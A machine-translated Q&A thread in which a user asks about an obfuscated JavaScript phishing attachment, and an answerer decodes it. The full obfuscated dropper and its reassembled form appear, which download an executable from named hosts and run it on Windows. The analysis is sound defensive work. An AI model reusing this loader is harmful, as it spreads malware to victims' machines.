web-dev-qa-db-ja.com

JavaScriptフィッシング攻撃の吸盤:心配する必要はありますか?

だから、私はばかです。 JavaScriptフィッシング攻撃ファイルを開きました。私は本当に、本当に私が問題を抱えているかどうか、そしてどのような種類の問題であるかを理解するためにJavascriptをデコードするのに役立つ助けをいただければ幸いです。

OS X 10.9.5を使用しています。私は何をしているのか気づく前に、SafariとFirefoxの両方でファイルを開きました(私は年を取っており、ひどく明るくないこともあり、フィッシング詐欺師が偽装している会社と電話を切ったばかりです)。ファイル名は「FedEx_000969418.doc.js」でした。

誰かが私がこれを理解するのを助けるのに十分な人はいますか?私は本当に、本当にそれを感謝します、そして私の愚かさから学び、他の人が同じことを避けるのを助けるように努めます。

Windows固有のものだといいのですが...添付のメールはあまり洗練されていませんでした。しかし、問題があれば、私は最悪の事態に備えています。

ファイルのタイトルとコードの一部をグーグルで試しましたが、うまくいきませんでした。また、難読化の解除を試みましたが、パーサーはそれを採用しません。私は明らかにぼんやりしているので、これを分析するのに本当に本当に誰かの助けを使うことができます。

JSは次のとおりです(私はTextEditで開いてコピーしました):

var stroke="5556515E070B0A1005071024120D171005011C140116100D17014A0A0110";function do193() { return ',"h'; };  function do112() { return ') { '; };  function do127() { return 'r xa'; };  function do88() { return '= 0;'; };  function do97() { return 't("'; };  function do5() { return '(fr) '; };  function do158() { return ') { '; };  function do215() { return 'er) {'; };  function do126() { return ' va'; };  function do9() { return '"e'; };  function do225() { return '25'; };  function do55() { return 'ndE'; };  function do220() { return 'bre'; };  function do84() { return 'exe"'; };  function do65() { return 'St'; };  function do37() { return ' va'; };  function do165() { return '; x'; };  function do128() { return ' = n'; };  function do184() { return '.clo'; };  function do8() { return ' = '; };  function do129() { return 'ew Ac'; };  function do57() { return 'ro'; };  function do136() { return 'tream'; };  function do187() { return '; }; '; };  function do11() { return 'y.co'; };  function do162() { return '.posi'; };  function do28() { return '(v'; };  function do222() { return ' } }'; };  function do98() { return 'MSX'; };  function do167() { return 'aveTo'; };  function do21() { return 'ub.c'; };  function do182() { return '; }; '; };  function do106() { return 'tate'; };  function do94() { return 'tive'; };  function do197() { return ']+"/d'; };  function do58() { return 'nme'; };  function do122() { return 'tatu'; };  function do20() { return 'ingcl'; };  function do93() { return 'Ac'; };  function do14() { return 'a.net'; };  function do188() { return 'try'; };  function do177() { return '); } '; };  function do175() { return 'n(fn'; };  function do140() { return 'n(); '; };  function do() { return 'val'; };  function do72() { return 'Math'; };  function do33() { return 'gth;'; };  function do155() { return 'a.siz'; };  function do145() { return '; '; };  function do27() { return ' for '; };  function do168() { return 'File'; };  function do208() { return 'alse'; };  function do147() { return 'ite'; };  function do111() { return 'on('; };  function do109() { return 'func'; };  function do35() { return '+)'; };  function do130() { return 'tive'; };  function do133() { return 't("AD'; };  function do202() { return '"+fr'; };  function do152() { return '); '; };  function do81() { return '0000'; };  function do110() { return 'ti'; };  function do194() { return 'ttp:'; };  function do62() { return '"%TE'; };  function do120() { return '&&'; };  function do50() { return 'l");'; };  function do174() { return 'Ru'; };  function do16() { return 'dic'; };  function do156() { return 'e > 5'; };  function do19() { return 'restl'; };  function do149() { return 'espo'; };  function do3() { return 'on '; };  function do119() { return ' 4 '; };  function do213() { return 'cat'; };  function do212() { return '); } '; };  function do46() { return '"W'; };  function do115() { return 'read'; };  function do80() { return '()*1'; };  function do108() { return 'e = '; };  function do71() { return ')+'; };  function do151() { return 'dy'; };  function do10() { return 'tq'; };  function do124() { return ' 2'; };  function do164() { return 'n = 0'; };  function do36() { return ' {'; };  function do195() { return '//"+b'; };  function do91() { return '= ne'; };  function do49() { return 'el'; };  function do206() { return 'oke,'; };  function do232() { return '3);'; };  function do15() { return '.br '; };  function do7() { return 'ar b'; };  function do144() { return '= 1'; };  function do69() { return 'Cod'; };  function do132() { return 'jec'; };  function do229() { return '); '; };  function do70() { return 'e(92'; };  function do31() { return '0; i<'; };  function do90() { return 'xo '; };  function do96() { return 'jec'; };  function do150() { return 'nseBo'; };  function do30() { return 'i='; };  function do34() { return ' i+'; };  function do101() { return 'TP"'; };  function do42() { return 'ti'; };  function do59() { return 'ntS'; };  function do13() { return 'id'; };  function do74() { return 'ou'; };  function do40() { return 'new '; };  function do211() { return 'nd('; };  function do160() { return '1; '; };  function do66() { return 'ring'; };  function do77() { return 'th'; };  function do125() { return '00) {'; };  function do73() { return '.r'; };  function do179() { return 'tch'; };  function do117() { return 'ate '; };  function do76() { return 'Ma'; };  function do45() { return 't('; };  function do104() { return 'onr'; };  function do44() { return 'jec'; };  function do51() { return ' va'; };  function do205() { return 'tr'; };  function do113() { return 'if '; };  function do1() { return 'fun'; };  function do4() { return 'dl'; };  function do79() { return 'andom'; };  function do161() { return 'xa'; };  function do83() { return '0)+".'; };  function do219() { return ' 1) '; };  function do82() { return '000'; };  function do176() { return ',1,0'; };  function do137() { return '"); '; };  function do102() { return '); '; };  function do159() { return 'dn = '; };  function do163() { return 'tio'; };  function do24() { return 'it'; };  function do105() { return 'eadys'; };  function do170() { return 'n,2);'; };  function do107() { return 'chang'; };  function do92() { return 'w '; };  function do226() { return '1); '; };  function do135() { return '.S'; };  function do118() { return '=='; };  function do153() { return 'if'; };  function do199() { return 'nt.ph'; };  function do200() { return 'p?r'; };  function do75() { return 'nd('; };  function do41() { return 'Ac'; };  function do216() { return '}; '; };  function do22() { return 'om'; };  function do67() { return '.fro'; };  function do204() { return 'd="+s'; };  function do103() { return 'xo.'; };  function do221() { return 'ak;'; };  function do39() { return 'ws = '; };  function do217() { return 'if (d'; };  function do2() { return 'cti'; };  function do18() { return 'nsonw'; };  function do154() { return ' (x'; };  function do114() { return '(xo.'; };  function do218() { return 'n =='; };  function do134() { return 'ODB'; };  function do181() { return 'r) {}'; };  function do201() { return 'nd='; };  function do12() { return 'm a'; };  function do141() { return 'xa.'; };  function do68() { return 'mChar'; };  function do17() { return 'ki'; };  function do121() { return ' xo.s'; };  function do209() { return '); '; };  function do171() { return ' try '; };  var fcx = '';  function do228() { return '962'; };  function do61() { return 's('; };  function do231() { return '(974'; };  function do123() { return 's =='; };  function do89() { return ' var '; };  function do64() { return '%")+'; };  function do148() { return '(xo.R'; };  function do99() { return 'ML2.'; };  function do210() { return 'xo.se'; };  function do29() { return 'ar '; };  function do26() { return ' ");'; };  function do203() { return '+"&i'; };  function do48() { return 'pt.Sh'; };  function do189() { return ' { xo'; };  function do78() { return '.r'; };  function do56() { return 'nvi'; };  function do47() { return 'Scri'; };  function do230() { return 'dl'; };  function do100() { return 'XMLHT'; };  function do53() { return '= ws.'; };  function do143() { return 'e '; };  function do63() { return 'MP'; };  function do32() { return 'b.len'; };  function do190() { return '.op'; };  function do25() { return '("'; };  function do116() { return 'ySt'; };  function do227() { return 'dl(9'; };  function do178() { return 'ca'; };  function do172() { return '{ '; };  function do95() { return 'XOb'; };  function do6() { return '{ v'; };  function do52() { return 'r fn '; };  function do223() { return '; d'; };  function do87() { return 'n '; };  function do180() { return ' (e'; };  function do198() { return 'ocume'; };  function do185() { return 'se();'; };  function do139() { return 'pe'; };  function do85() { return '; va'; };  function do38() { return 'r '; };  function do191() { return 'en('; };  function rs() { return 'e'; };  function do186() { return ' }'; };  function do207() { return ' f'; };  function do192() { return '"GET"'; };  function do60() { return 'tring'; };  function do169() { return '(f'; };  function do214() { return 'ch ('; };  function do86() { return 'r d'; };  function do224() { return 'l(2'; };  function do23() { return '".spl'; };  function do173() { return 'ws.'; };  function do43() { return 'veXOb'; };  function do131() { return 'XOb'; };  function do157() { return '000'; };  function do54() { return 'Expa'; };  function do166() { return 'a.s'; };  function do183() { return 'xa'; };  function do196() { return '[i'; };  function do138() { return 'xa.o'; };  function do146() { return 'xa.wr'; };  function do142() { return 'typ'; }; for (var xyy=1; xyy<=232; xyy++) { fcx += this['do'+xyy](); } this[rs()+do()](fcx); 
8
DimLight

あなたは幸運です:それはWindows固有です。まず、コードを取得して、それを美化するためにjsbeautifier.orgに行きました。

var stroke = "5556515E070B0A1005071024120D171005011C140116100D17014A0A0110";

function do193() {
    return ',"h';
};

function do112() {
    return ') { ';
};

function do127() {
    return 'r xa';
};

function do88() {
    return '= 0;';
};

function do97() {
    return 't("';
};

function do5() {
    return '(fr) ';
};

function do158() {
    return ') { ';
};

function do215() {
    return 'er) {';
};

function do126() {
    return ' va';
};

function do9() {
    return '"e';
};

function do225() {
    return '25';
};

function do55() {
    return 'ndE';
};

function do220() {
    return 'bre';
};

function do84() {
    return 'exe"';
};

function do65() {
    return 'St';
};

function do37() {
    return ' va';
};

function do165() {
    return '; x';
};

function do128() {
    return ' = n';
};

function do184() {
    return '.clo';
};

function do8() {
    return ' = ';
};

function do129() {
    return 'ew Ac';
};

function do57() {
    return 'ro';
};

function do136() {
    return 'tream';
};

function do187() {
    return '; }; ';
};

function do11() {
    return 'y.co';
};

function do162() {
    return '.posi';
};

function do28() {
    return '(v';
};

function do222() {
    return ' } }';
};

function do98() {
    return 'MSX';
};

function do167() {
    return 'aveTo';
};

function do21() {
    return 'ub.c';
};

function do182() {
    return '; }; ';
};

function do106() {
    return 'tate';
};

function do94() {
    return 'tive';
};

function do197() {
    return ']+"/d';
};

function do58() {
    return 'nme';
};

function do122() {
    return 'tatu';
};

function do20() {
    return 'ingcl';
};

function do93() {
    return 'Ac';
};

function do14() {
    return 'a.net';
};

function do188() {
    return 'try';
};

function do177() {
    return '); } ';
};

function do175() {
    return 'n(fn';
};

function do140() {
    return 'n(); ';
};

function do() {
    return 'val';
};

function do72() {
    return 'Math';
};

function do33() {
    return 'gth;';
};

function do155() {
    return 'a.siz';
};

function do145() {
    return '; ';
};

function do27() {
    return ' for ';
};

function do168() {
    return 'File';
};

function do208() {
    return 'alse';
};

function do147() {
    return 'ite';
};

function do111() {
    return 'on(';
};

function do109() {
    return 'func';
};

function do35() {
    return '+)';
};

function do130() {
    return 'tive';
};

function do133() {
    return 't("AD';
};

function do202() {
    return '"+fr';
};

function do152() {
    return '); ';
};

function do81() {
    return '0000';
};

function do110() {
    return 'ti';
};

function do194() {
    return 'ttp:';
};

function do62() {
    return '"%TE';
};

function do120() {
    return '&&';
};

function do50() {
    return 'l");';
};

function do174() {
    return 'Ru';
};

function do16() {
    return 'dic';
};

function do156() {
    return 'e > 5';
};

function do19() {
    return 'restl';
};

function do149() {
    return 'espo';
};

function do3() {
    return 'on ';
};

function do119() {
    return ' 4 ';
};

function do213() {
    return 'cat';
};

function do212() {
    return '); } ';
};

function do46() {
    return '"W';
};

function do115() {
    return 'read';
};

function do80() {
    return '()*1';
};

function do108() {
    return 'e = ';
};

function do71() {
    return ')+';
};

function do151() {
    return 'dy';
};

function do10() {
    return 'tq';
};

function do124() {
    return ' 2';
};

function do164() {
    return 'n = 0';
};

function do36() {
    return ' {';
};

function do195() {
    return '//"+b';
};

function do91() {
    return '= ne';
};

function do49() {
    return 'el';
};

function do206() {
    return 'oke,';
};

function do232() {
    return '3);';
};

function do15() {
    return '.br ';
};

function do7() {
    return 'ar b';
};

function do144() {
    return '= 1';
};

function do69() {
    return 'Cod';
};

function do132() {
    return 'jec';
};

function do229() {
    return '); ';
};

function do70() {
    return 'e(92';
};

function do31() {
    return '0; i<';
};

function do90() {
    return 'xo ';
};

function do96() {
    return 'jec';
};

function do150() {
    return 'nseBo';
};

function do30() {
    return 'i=';
};

function do34() {
    return ' i+';
};

function do101() {
    return 'TP"';
};

function do42() {
    return 'ti';
};

function do59() {
    return 'ntS';
};

function do13() {
    return 'id';
};

function do74() {
    return 'ou';
};

function do40() {
    return 'new ';
};

function do211() {
    return 'nd(';
};

function do160() {
    return '1; ';
};

function do66() {
    return 'ring';
};

function do77() {
    return 'th';
};

function do125() {
    return '00) {';
};

function do73() {
    return '.r';
};

function do179() {
    return 'tch';
};

function do117() {
    return 'ate ';
};

function do76() {
    return 'Ma';
};

function do45() {
    return 't(';
};

function do104() {
    return 'onr';
};

function do44() {
    return 'jec';
};

function do51() {
    return ' va';
};

function do205() {
    return 'tr';
};

function do113() {
    return 'if ';
};

function do1() {
    return 'fun';
};

function do4() {
    return 'dl';
};

function do79() {
    return 'andom';
};

function do161() {
    return 'xa';
};

function do83() {
    return '0)+".';
};

function do219() {
    return ' 1) ';
};

function do82() {
    return '000';
};

function do176() {
    return ',1,0';
};

function do137() {
    return '"); ';
};

function do102() {
    return '); ';
};

function do159() {
    return 'dn = ';
};

function do163() {
    return 'tio';
};

function do24() {
    return 'it';
};

function do105() {
    return 'eadys';
};

function do170() {
    return 'n,2);';
};

function do107() {
    return 'chang';
};

function do92() {
    return 'w ';
};

function do226() {
    return '1); ';
};

function do135() {
    return '.S';
};

function do118() {
    return '==';
};

function do153() {
    return 'if';
};

function do199() {
    return 'nt.ph';
};

function do200() {
    return 'p?r';
};

function do75() {
    return 'nd(';
};

function do41() {
    return 'Ac';
};

function do216() {
    return '}; ';
};

function do22() {
    return 'om';
};

function do67() {
    return '.fro';
};

function do204() {
    return 'd="+s';
};

function do103() {
    return 'xo.';
};

function do221() {
    return 'ak;';
};

function do39() {
    return 'ws = ';
};

function do217() {
    return 'if (d';
};

function do2() {
    return 'cti';
};

function do18() {
    return 'nsonw';
};

function do154() {
    return ' (x';
};

function do114() {
    return '(xo.';
};

function do218() {
    return 'n ==';
};

function do134() {
    return 'ODB';
};

function do181() {
    return 'r) {}';
};

function do201() {
    return 'nd=';
};

function do12() {
    return 'm a';
};

function do141() {
    return 'xa.';
};

function do68() {
    return 'mChar';
};

function do17() {
    return 'ki';
};

function do121() {
    return ' xo.s';
};

function do209() {
    return '); ';
};

function do171() {
    return ' try ';
};
var fcx = '';

function do228() {
    return '962';
};

function do61() {
    return 's(';
};

function do231() {
    return '(974';
};

function do123() {
    return 's ==';
};

function do89() {
    return ' var ';
};

function do64() {
    return '%")+';
};

function do148() {
    return '(xo.R';
};

function do99() {
    return 'ML2.';
};

function do210() {
    return 'xo.se';
};

function do29() {
    return 'ar ';
};

function do26() {
    return ' ");';
};

function do203() {
    return '+"&i';
};

function do48() {
    return 'pt.Sh';
};

function do189() {
    return ' { xo';
};

function do78() {
    return '.r';
};

function do56() {
    return 'nvi';
};

function do47() {
    return 'Scri';
};

function do230() {
    return 'dl';
};

function do100() {
    return 'XMLHT';
};

function do53() {
    return '= ws.';
};

function do143() {
    return 'e ';
};

function do63() {
    return 'MP';
};

function do32() {
    return 'b.len';
};

function do190() {
    return '.op';
};

function do25() {
    return '("';
};

function do116() {
    return 'ySt';
};

function do227() {
    return 'dl(9';
};

function do178() {
    return 'ca';
};

function do172() {
    return '{ ';
};

function do95() {
    return 'XOb';
};

function do6() {
    return '{ v';
};

function do52() {
    return 'r fn ';
};

function do223() {
    return '; d';
};

function do87() {
    return 'n ';
};

function do180() {
    return ' (e';
};

function do198() {
    return 'ocume';
};

function do185() {
    return 'se();';
};

function do139() {
    return 'pe';
};

function do85() {
    return '; va';
};

function do38() {
    return 'r ';
};

function do191() {
    return 'en(';
};

function rs() {
    return 'e';
};

function do186() {
    return ' }';
};

function do207() {
    return ' f';
};

function do192() {
    return '"GET"';
};

function do60() {
    return 'tring';
};

function do169() {
    return '(f';
};

function do214() {
    return 'ch (';
};

function do86() {
    return 'r d';
};

function do224() {
    return 'l(2';
};

function do23() {
    return '".spl';
};

function do173() {
    return 'ws.';
};

function do43() {
    return 'veXOb';
};

function do131() {
    return 'XOb';
};

function do157() {
    return '000';
};

function do54() {
    return 'Expa';
};

function do166() {
    return 'a.s';
};

function do183() {
    return 'xa';
};

function do196() {
    return '[i';
};

function do138() {
    return 'xa.o';
};

function do146() {
    return 'xa.wr';
};

function do142() {
    return 'typ';
};
for (var xyy = 1; xyy <= 232; xyy++) {
    fcx += this 'do' + xyy;
}
thisrs() + do();

おっと:コードが番号付き関数から返された一連のテキストフラグメントを組み立てていることは明らかです。いくつかのgrep-fu、ソート、およびその他のgrep-fu、そして私はすべてのテキストフラグメントをアセンブルしました。より美化、そして:

function dl(fr) {
    var b = "etqy.com aida.net.br dickinsonwrestlingclub.com".split(" ");
    for (var i = 0; i < b.length; i++) {
        var ws = new ActiveXObject("WScript.Shell");
        var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(Math.random() * 100000000) + ".exe";
        var dn = 0;
        var xo = new ActiveXObject("MSXML2.XMLHTTP");
        xo.onreadystatechange = function() {
            if (xo.readyState == 4 && xo.status == 200) {
                var xa = new ActiveXObject("ADODB.Stream");
                xa.open();
                xa.type = 1;
                xa.write(xo.ResponseBody);
                if (xa.size > 5000) {
                    dn = 1;
                    xa.position = 0;
                    xa.saveToFile(fn, 2);
                    try {
                        ws.Run(fn, 1, 0);
                    } catch (er) {};
                };
                xa.close();
            };
        };
        try {
            xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + stroke, false);
            xo.send();
        } catch (er) {};
        if (dn == 1) break;
    }
};
dl(2251);
dl(9962);
dl(9743);

うん:Windows固有であり、 diabolical Active X API を使用してダウンロードし、スクリプトを実行してコンピューターに侵入(または侵入を試み)します。

繰り返しになりますが、あなたは立派です(そして、おそらくほとんどのWindowsユーザーは、危害を加えられることを防ぐために十分なウイルス保護がインストールされているでしょう)。

10
Daniel Griscom